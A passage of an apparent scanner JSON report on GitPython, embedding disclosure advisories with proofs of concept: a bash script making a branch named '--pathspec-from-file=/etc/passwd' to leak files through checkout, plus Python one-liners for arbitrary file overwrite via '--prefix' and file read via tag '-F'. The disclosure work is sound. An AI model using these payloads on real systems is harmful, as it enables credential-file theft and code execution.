"https://www.cve.org/CVERecord?id=CVE-2026-87817", "https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation" ], "PublishedDate": "2026-09-09T12:17:16.83Z", "LastModifiedDate": "2026-09-16T15:24:41.533Z" }, { "VulnerabilityID": "CVE-2026-87819", "VendorIDs": [ "GHSA-g5vv-9gxw-82hx" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.60", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-87819", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:698fed81f1ac40e337ee66ed5d33db47e9274010fd2623ec759b59d2342a64b3", "Title": "GitPython: GitPython: Denial of Service via crafted commit author field", "Description": "GitPython before 3.1.60 contains a regular expression denial of service vulnerability in Actor.name_email_regex that processes commit author and committer fields. Attackers can craft a commit object with a malformed author field containing an unterminated angle bracket to cause quadratic backtracking, exhausting CPU resources for over two minutes per commit access.", "Severity": "HIGH", "CweIDs": [ "CWE-1333" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-87819", "https://advisory.echohq.com/cve/CVE-2026-87819", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/751473a5f3221d6f989291cbebcc404353fd3ba8", "https://github.com/gitpython-developers/GitPython/pull/2215", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3984.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-87819", "https://www.cve.org/CVERecord?id=CVE-2026-87819", "https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos" ], "PublishedDate": "2026-09-09T12:17:17.12Z", "LastModifiedDate": "2026-09-18T18:17:34.697Z" }, { "VulnerabilityID": "GHSA-23mf-xhv8-69c2", "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-23mf-xhv8-69c2", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:37ad07a58d2e2e147f9e6148adf98d26057e933f09bed9c108099912060a55ed", "Title": "GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)", "Description": "\u003e **A note on the referenced files.** This report was submitted through GitHub's private\n\u003e vulnerability reporting API, which carries no attachments. Every transcript this report leans\n\u003e on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,\n\u003e per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local\n\u003e evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy\n\u003e to send the bundle by any channel you prefer, or to open a private fork — just say which. The\n\u003e PoC scripts are self-contained and reproduce the result from a clean environment.\n\n---\n\n**Affected:** `\u003c= 3.1.62` — all published releases; also `main` @ `4905b4af`\n**Verified at runtime:** GitPython `3.1.62` with git `2.55.0`\n**Date:** 2026-09-10\n**Reporter:** MAXI8594\n\n---\n\n## Threat model\n\n| | |\n|---|---|\n| **Attacker** | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. |\n| **Pre-need** | a repository they host, with `HEAD` pointing at a branch whose name is the payload. A `git push` to a plain git server is enough — no filesystem access to a server is required (`raw/06`). |\n| **Gets** | the contents of any file the application's process can read, returned in band through the exception. `/etc/passwd` recovered 34 of 34 lines. |\n| **Real-world likelihood** | **High.** The vulnerable consumer is six lines of ordinary code with no unusual configuration: `Repo.clone_from(user_url)` then `repo.active_branch.checkout()`. `allow_unsafe_options=False` is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots. |\n\n**On severity relative to the sibling advisories.** GitHub, as CNA, scored the three prior\nadvisories in this class at 6.5 / `PR:L` (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This\nreport asks for 7.5 / `PR:N`, and the difference is one measured fact: in those three, the\napplication had to pass an attacker-influenced value into the API. Here it passes nothing — the\nclone materialises the hostile branch on its own and `repo.active_branch` returns it\n(`raw/02`). If that reading is not accepted, the `PR:L` path via `Repo.create_head()` is also real\nand lands at 6.5, matching the siblings.\n\n## Summary\n\n`Head.checkout()` guards its `**kwargs` against unsafe Git options but never inspects its own\npositional argument — the branch name — which reaches the `git checkout` argv with no `--`\nseparator. A repository whose default branch is named `--pathspec-from-file=/etc/passwd` makes a\nconsumer that merely clones it and checks out the default branch return the entire contents of that\nfile to the caller.\n\nThis is the exact combination of two advisories the project already fixed:\n\n- **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) — *\"Arbitrary file read via `--pathspec-from-file` in\n `IndexFile.remove()` **and `Head.checkout()`**\"*. Fixed in 3.1.58 by commit `f2550b65`, which added\n the guard to this exact method — but only for `**kwargs`.\n- **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) — *\"`TagReference.create` positional reference\n bypasses kwargs-only `--file` guard, enabling arbitrary file read (incomplete fix of 3af0c251)\"*. Fixed in 3.1.59 by commit `1b0d2d9b`, which applied the\n positional check to `git/refs/tag.py`, `git/diff.py`, `git/index/base.py` and `git/repo/base.py` —\n but not to `git/refs/head.py:286`.\n\n`f2550b65` states in its own commit message that the audit found the positional variant and applied\nit to `HEAD.reset` — 185 lines above `Head.checkout`, in the same file, in the same commit:\n\n\u003e \"The audit also found that **reset's positional commit could carry the option before its argument\n\u003e separator**. […] **Check reset's positional commit as well as keyword options**\"\n\n`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.\n\n## Affected Asset\n\n| | |\n|---|---|\n| Package | `GitPython` (PyPI) |\n| Affected versions | **`\u003c= 3.1.62`** — all published releases |\n| Latest release tested | `3.1.62` |\n| Also present on | `main` @ `4905b4af` |\n| Vulnerable file | `git/refs/head.py` |\n| Guard | line 286 — `Git._option_candidates([], kwargs)` |\n| Sink | line 293 — `self.repo.git.checkout(self, **kwargs)` |\n| CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) |\n| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 High** |\n\nThe version range was established by **blob hash against every tag**, not by dates: the sink line\n`self.repo.git.checkout(self, **kwargs)` — with no `--` separator — is present in `git/refs/head.py`\nin every tag from `0.3.1-beta2` through `3.1.62`. The `3.1.62` blob is byte-identical to `main`:\n`7f563374ef9e018b3d5f95054498e8591e112ce2`. Full sweep in `raw/07-blob-version-sweep.txt`.\n\nThe kwargs-only guard first appears in **3.1.58**, so `3.1.58`–`3.1.62` is where \"incomplete fix\"\napplies; earlier releases have the same sink with no guard at all.\n\n## Vulnerability Details\n\n### Root cause\n\n`git/cmd.py:1045` — `_option_candidates()` only inspects the positionals it is handed:\n\n```python\n@classmethod\ndef _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -\u003e List[str]:\n \"\"\"Collect possible option spellings before command-line transformation.\"\"\"\n options = [\n option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith(\"-\")\n ]\n```\n\nSo `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional\narguments this method puts on the command line.* That is fine when the method has no\nattacker-influenced positional, or when it separates them with `--`.\n\n`git/refs/head.py:283-293` — `Head.checkout()` has neither:\n\n```python\n if not allow_unsafe_options:\n Git.check_unsafe_options(\n options=Git._option_candidates([], kwargs),\n unsafe_options=Git.unsafe_git_pathspec_from_file_options,\n )\n kwargs[\"f\"] = force\n if kwargs[\"f\"] is False:\n kwargs.pop(\"f\")\n\n self.repo.git.checkout(self, **kwargs)\n```\n\n`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv,\nand is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`,\nso keyword-derived options precede positionals — which is why the rest of the library puts `\"--\"`\nfirst (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count`\nall do). `Head.checkout` does not.\n\n### Why the branch name is attacker-controlled\n\nGit accepts a refname whose branch component begins with `-` and contains `/`\n(`raw/02-refname-accepted-and-cloned.txt`):\n\n```\n\u003e\u003e\u003e git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'\n exit=0 stderr=''\n =\u003e un refname que empieza con '-' y lleva '/' es VALIDO para git\n\n\u003e\u003e\u003e git -C \u003cbare\u003e update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099\n exit=0 stderr=''\n\u003e\u003e\u003e git -C \u003cbare\u003e symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n exit=0\n HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd\n ref en disco como arbol jerarquico: True\n\n\u003e\u003e\u003e Repo.clone_from('file://\u003cbare\u003e', \u003cvictim\u003e) # la app solo clona\n ramas LOCALES creadas por el clone, sin que nadie las pida:\n refs/heads/--pathspec-from-file=/etc/passwd\n repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n coincide con el nombre hostil: True\n```\n\nThe transcript above also shows the second half: `git clone` **materialises that branch locally on\nits own** when the remote `HEAD` points at it — the consuming application never asks for it.\n\nA plain git server accepts the refname over `receive-pack`, with no `--force` and no special config\n(`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server —\na `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://`\ntransport, which exercises the same git wire protocol as `https://`; I did not test against a\nhosted forge, since that would mean writing to a third party.\n\n### Why the leak reaches the caller\n\nThe file contents are in `CommandError.__str__`, not only in the `.stderr` attribute\n(`git/exc.py`):\n\n```python\n self.stderr = stderr_decode and \"\\n stderr: '%s'\" % stderr_decode or \"\"\n\n def __str__(self) -\u003e str:\n return (self._msg + \"\\n cmdline: %s%s%s\") % (\n self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,\n )\n```\n\nSo `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the\nfile. The developer does not have to know `.stderr` exists.\n\n### Full chain\n\n```\nRepo.clone_from(\u003cattacker URL\u003e)\n ↓ remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd\n ↓ git clone creates that LOCAL branch unasked\nrepo.active_branch → Head with name = \"--pathspec-from-file=/etc/passwd\"\n ↓\nHead.checkout() git/refs/head.py:286 — guard inspects kwargs only\n ↓ self.repo.git.checkout(self, **kwargs) git/refs/head.py:293 — no \"--\"\ngit checkout --pathspec-from-file=/etc/passwd\n ↓ git emits one `error:` per unmatched pathspec — one per line of the file\nGitCommandError → CommandError.__str__ → the consumer\n```\n\n## Steps to Reproduce\n\nEnvironment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local —\ntemporary repositories and the `file://` transport. No remote hosts, no third-party repositories.\n\nThe bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per\nscenario under `raw/`. Minimal manual reproduction:\n\n```bash\npython3 -m venv /tmp/gp \u0026\u0026 /tmp/gp/bin/python -m pip install gitpython==3.1.62\n\nW=$(mktemp -d)\ngit init -q -b main \"$W/a\"; echo x \u003e \"$W/a/f.txt\"\ngit -C \"$W/a\" add f.txt\ngit -C \"$W/a\" -c user.email=a@b -c user.name=a commit -qm c\ngit clone -q --bare \"$W/a\" \"$W/a.git\"\nSHA=$(git -C \"$W/a.git\" rev-parse HEAD)\n\n# the attacker names their default branch after the file they want\ngit -C \"$W/a.git\" update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' \"$SHA\"\ngit -C \"$W/a.git\" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n\ncat \u003e \"$W/consumer.py\" \u003c\u003c'PYEOF'\nimport logging, sys, git\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\ntry:\n repo = git.Repo.clone_from(sys.argv[1], sys.argv[2]) # user-supplied URL\n repo.active_branch.checkout() # ensure a clean working tree\nexcept git.exc.GitCommandError:\n logging.exception(\"clone failed\")\nPYEOF\n\n/tmp/gp/bin/python \"$W/consumer.py\" \"file://$W/a.git\" \"$W/victim\"\n```\n\n### Raw Request\n\nThe real `git checkout` argv, captured by instrumenting `Git.execute` (`raw/01-real-argv.txt`).\nThis is the command GitPython actually built — the branch name became an option:\n\n```\n argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']\n```\n\n### Raw Response\n\nObserved output (`raw/05-six-line-consumer.txt`, tail) — git emits one `error:` line per unmatched\npathspec, which is one per line of the target file:\n\n```\nerror: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git\nerror: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git\nerror: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'\n```\n\n`raw/03-full-file-disclosure.txt` counts the recovery against the real file:\n\n```\nArchivo objetivo: /etc/passwd (34 lineas no vacias)\n[CASO] repo.active_branch.checkout() — nadie paso un nombre de rama\n repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n -\u003e GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34\n```\n\n## Impact\n\nAn attacker who can get an application to clone a repository they control reads any file the\napplication's process can read, with the contents returned in band. `/etc/passwd` was recovered in\nfull (34 of 34 lines) in the run recorded in `poc.log`.\n\nThe attacker needs **no account and no privilege in the consuming application**, and no\nconfiguration change anywhere: `allow_unsafe_options=False` is the default, and the vulnerable\nconsumer is six lines of ordinary code. This is the central use case of the library — CI systems,\nrepository importers, scanners and bots that clone user-supplied URLs.\n\n### Impact precondition\n\n**Holds if:** the consuming application clones a repository whose default branch name the attacker\nchose, and then calls `Head.checkout()` on it — most commonly as `repo.active_branch.checkout()`,\nwhich needs no branch-name input from the application at all.\n\n**Source writer:** the attacker, via the remote repository's `HEAD` and refs. Verified two ways —\n`git update-ref` + `symbolic-ref` on a bare repository, and `git push` to a plain git server, which\n`receive-pack` accepts without `--force` or special configuration\n(`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`). The application never\nwrites the branch name; `git clone` materialises it.\n\n**Observed in:** `validation/gitpython/head-checkout-positional-pathspec/` — GitPython 3.1.62\n(latest release) with git 2.55.0, in the single run recorded in `poc.log`\n(2026-09-10T02:10:23-03:00). File read: `/etc/passwd`, 34 of 34 lines recovered by the caller.\n\n\n### Limits, stated plainly\n\n- Only the full long spelling works, because a refname cannot contain a space and is therefore a\n single argv token; `git` rejects the abbreviated forms. This was established while developing the\n payload and is **not** part of the attached run — the run exercises the working spelling only.\n- The attacker must know an absolute path to the target file.\n- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile\n repository none of them do, so the attacker controls this condition too.\n- The full-file result was measured on **git 2.55.0**, where `git checkout` emits one `error:` per\n unmatched pathspec. `GHSA-hh9p-6wh2-4mfc` notes that `--pathspec-from-file` alone quotes only the\n first line — that holds for `git rm`, which aborts with `fatal:` on the first. It does not hold for\n `git checkout` on 2.55.0.\n\n## Negative control\n\nFull statement of what each control isolates and what would invalidate it: `negative-controls.md`.\nEvery batch opens **and closes** with a positive control; if the closing one does not fire, the batch\nis discarded.\n\n**Positive control (opening and closing, 4 batches).** `Head.checkout(pathspec_from_file=\"/etc/passwd\")`\n— the same payload via kwargs. Fires in every batch:\n`UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it`.\nThis proves the guard exists, is active under the default, and recognises the option — so a null\nresult elsewhere cannot be the instrument failing to reach the code.\n\n**Negative control.** The identical call on a branch named `benigna`. One variable changes: the\nleading `-`. Result: `['git', 'checkout', 'benigna']`, no exception, 0 lines disclosed.\n\n**Precision control — the asymmetry inside one file** (`raw/04-precision-control-reset-vs-checkout.txt`).\nThe same payload against the two methods in `git/refs/head.py` that received the guard in the same\ncommit, 185 lines apart:\n\n```\n[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos\n HEAD.reset(commit=PAYLOAD) guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas [OK]\n Head.checkout() guard NO mira el posicional GitCommandError fuga=34 lineas [OK]\n```\n\n`HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) blocks what `Head.checkout`\n(`head.py:286`, `_option_candidates([], kwargs)`) lets through. This rules out the alternative\nexplanation that any string containing `--pathspec-from-file` reaching git would disclose the file.\n\n## Remediation\n\nOne line, consistent with what `f2550b65` already did for `HEAD.reset` in this same file:\n\n```python\n options=Git._option_candidates([self], kwargs),\n```\n\n**The other candidate was evaluated and rejected.** Writing\n`self.repo.git.checkout(\"--\", self, **kwargs)` would match the `--` pattern used elsewhere in the\nlibrary and would also cover future `git checkout` options — but it **changes the semantics and\nbreaks the method**: in `git checkout -- \u003carg\u003e`, everything after `--` is a *pathspec*, not a branch.\nThe command would stop switching branches and start restoring files. The `--` pattern works for\n`fetch`/`pull`/`push`/`clone`/`archive`/`rm` because their positionals genuinely are non-branch\noperands; it does not transfer here.\n\nFor defence in depth, `Repo.create_head()` could reject branch names beginning with `-`, which would\nalso close the weaker `PR:L` path. That is a separate, optional change.\n\n## Prior art and de-duplication\n\nAll GitPython advisories in the GitHub database were reviewed —\n`gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate` returns **47**\n(the same command without `per_page` returns only the first page of 30). `Head.checkout` appears in\ntwo rows, one of which (`GHSA-w672-…`) is a withdrawn duplicate, leaving one substantive advisory:\n\n- **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** — same method, but the **kwargs** path\n (`pathspec_from_file=…, pathspec_file_nul=True`), fixed in 3.1.58. That path is closed today; it is\n the positive control in every batch of this report. The **positional** path is not covered by it.\n\nNeighbours, none overlapping:\n\n- **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** — the same **class** (positional bypasses a kwargs-only\n guard) in a different method, `TagReference.create`, fixed in 3.1.59 by `1b0d2d9b`. That is the\n patch that did not come back to `head.py:286`.\n- **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** — precedent for \"a value placed before the `--` with no\n leading-dash check\", in `Repo.iter_commits` / `Repo.blame`. Those sites now pass their positional\n to the guard; this one does not.\n- **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** — path traversal via ref names in the reference APIs.\n Different sink (filesystem path construction) and different impact (write and delete), but it\n establishes that attacker-influenced ref names is a premise this project has already accepted.\n\n### No open fix proposal\n\nSearched across three surfaces, because `gh search issues` excludes pull requests: `gh search prs`,\n`gh search issues` and the raw `search/issues` API. **No open or closed issue or pull request\nproposes passing the positional to the guard in `Head.checkout`.** The three PRs that touch this\nguard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that\nintroduced *both* call sites in this file, one checking its positional and one not. Full matrix in\n`dup-check.md`.\n\n### The project's own tests carry the same asymmetry\n\n`test/test_refs.py` exercises the guard for both methods, and covers exactly the difference this\nreport is about:\n\n- `HEAD.reset` — the **positional** is tested (lines 304-308).\n- `Head.checkout` — only the **kwargs** path is tested (lines 282-291).\n\nSo the positional variant is a case the suite already knows how to write; it just was not written\nfor `checkout`. The docstring added by #2204 to `Head.checkout` states that `--pathspec-from-file`\nrequires opt-in via `allow_unsafe_options` — which is precisely the guarantee the positional path\ndoes not deliver. Nothing in the project declares the positional acceptable here.\n\n### Why the one-line fix works, which is not obvious\n\n`Reference.__str__` returns `self.name`, not `self.path`. `Reference.name` strips the first two\npath components (`reference.py:122-132`), so a `Head` constructed on\n`refs/heads/--pathspec-from-file=/etc/passwd` passes `check_path` — the *path* does begin with\n`refs/heads/` — while `str()` yields the bare option. Passing `[self]` to `_option_candidates` makes\nthe guard see that same serialised string, which is why the one-line change closes it.\n\n## Evidence\n\n| File | What it establishes |\n|---|---|\n| `poc.sh` | driver — runs all seven scenarios as one unit |\n| `poc.log` | full transcript of the single reference run |\n| `raw/00-versions-and-source.txt` | version under test is the published one; guard and sink present; `def checkout(` appears once, so the sink line is unambiguous |\n| `raw/01-real-argv.txt` | real `git checkout` argv, captured by instrumenting `Git.execute` |\n| `raw/02-refname-accepted-and-cloned.txt` | git accepts the refname; `Repo.clone_from` materialises it unasked |\n| `raw/03-full-file-disclosure.txt` | 34 of 34 lines of `/etc/passwd` recovered |\n| `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` blocks what `Head.checkout` allows |\n| `raw/05-six-line-consumer.txt` | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught |\n| `raw/06-push-accepts-refname.txt` | a plain git server accepts the refname over `push` |\n| `raw/07-blob-version-sweep.txt` | affected range by blob hash, tag by tag |\n| `negative-controls.md` | what each control isolates and what would invalidate it |\n| `evidence.sha256` | integrity of every raw file and script |\n\n## Disclosure\n\nReported privately through GitHub private vulnerability reporting. No third-party systems were\ntouched: every repository in this report is a temporary local one, and all transport is `file://`.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 7.1 } }, "References": [ "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/8da65080849a56a2fc9f3e7817bbf0524e8397d5", "https://github.com/gitpython-developers/GitPython/pull/2233", "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2" ], "PublishedDate": "2026-10-27T15:28:03Z", "LastModifiedDate": "2026-10-27T15:28:03Z" }, { "VulnerabilityID": "GHSA-3f7w-8rr8-f37f", "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.57", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-3f7w-8rr8-f37f", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0b86edb2920c06e2a96e3c234735c4c7933e5a92f7c52ff423944acc9f3a0004", "Title": "GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read", "Description": "**Target:** gitpython-developers/GitPython\n**Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1`\n**Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites\n\n## Summary\n\nGitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git.\n\nA mechanical sweep of every method that forwards `**kwargs` into a `.git.\u003ccommand\u003e(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path:\n\n| # | Call site | git option | Impact |\n|---|---|---|---|\n| 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=\u003cpath\u003e` | arbitrary file **overwrite** with repository-controlled content |\n| 2 | `TagReference.create()` → `git tag` | `-F \u003cfile\u003e` / `--file=\u003cfile\u003e` | arbitrary file **read**, returned in-band |\n\nThis is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD.\n\n---\n\n## Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite\n\n`git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard:\n\n```python\ndef checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs):\n ...\n proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331\n ...\n proc = self.repo.git.checkout_index(args, **kwargs) # line 1349\n```\n\nThere is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method.\n\n`git checkout-index` accepts `--prefix=\u003cstring\u003e`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there.\n\n### Reproduction\n\n```python\nfrom git import Repo\nRepo(\"/path/to/repo\").index.checkout(prefix=\"/tmp/target_dir/\", a=True, f=True)\n```\n\nObserved (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\nfiles written outside the repo: ['f.txt']\n f.txt: 'hi\\n'\n```\n\nOverwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\\n` before the call:\n\n```\n[ALLOWED] no exception\nvictim content now: 'hi\\n'\nOVERWRITTEN: True\n```\n\n### Why this rates High\n\nBoth halves of the write are attacker-influenced:\n\n- **Destination** — the `prefix` kwarg.\n- **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written.\n\nCommit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account.\n\nFor comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former.\n\n---\n\n## Instance 2 — `TagReference.create()`: arbitrary file read\n\n`git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough:\n\n```python\ndef create(cls, repo, path, reference=\"HEAD\", logmsg=None, force=False, **kwargs):\n \"\"\"...\n :param kwargs:\n Additional keyword arguments to be passed to :manpage:`git-tag(1)`.\n \"\"\"\n```\n\n`git tag` accepts `-F \u003cfile\u003e` / `--file=\u003cfile\u003e`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band.\n\n### Reproduction\n\n```python\nfrom git import Repo\nfrom git.refs.tag import TagReference\n\nt = TagReference.create(Repo(\"/path/to/repo\"), \"x\", force=True, a=True, F=\"/etc/passwd\")\nprint(t.tag.message)\n```\n\nObserved (`poc/poc_tag_F.py`), reading a canary file outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\n\u003e\u003e\u003e tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\\nsecond-line-secret'\n```\n\nImpact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it.\n\n---\n\n## Sweep results — the other 12 sites\n\nReported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list.\n\n| Call site | git command | Assessment |\n|---|---|---|\n| `IndexFile.from_tree()` | `read-tree` | `--index-output=\u003cpath\u003e` looked reachable but is **neutralised**: GitPython appends its own `--index-output` after the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (`poc/poc_readtree.py`) |\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n| `Head.delete()`, `RemoteReference.delete()` | `branch` | no path-taking option found |\n| `Repo.merge_base()` | `merge-base` | no path-taking option found |\n| `Repo._get_untracked_files()` | `status` | no path-taking option found |\n| `Remote.set_url()`, `Remote.create()`, `Remote.update()` | `remote` | URL handling already addressed by GHSA-94p4-4cq8-9g67 |\n\n## Suggested remediation\n\n**Immediate:** add `allow_unsafe_options: bool = False` to both methods and gate `Git._option_candidates(args, kwargs)` against new lists — `unsafe_git_checkout_index_options = [\"--prefix\"]` (consider `--temp`) and `unsafe_git_tag_options = [\"--file\", \"-F\"]` (consider `-s`, `-u`/`--local-user`, 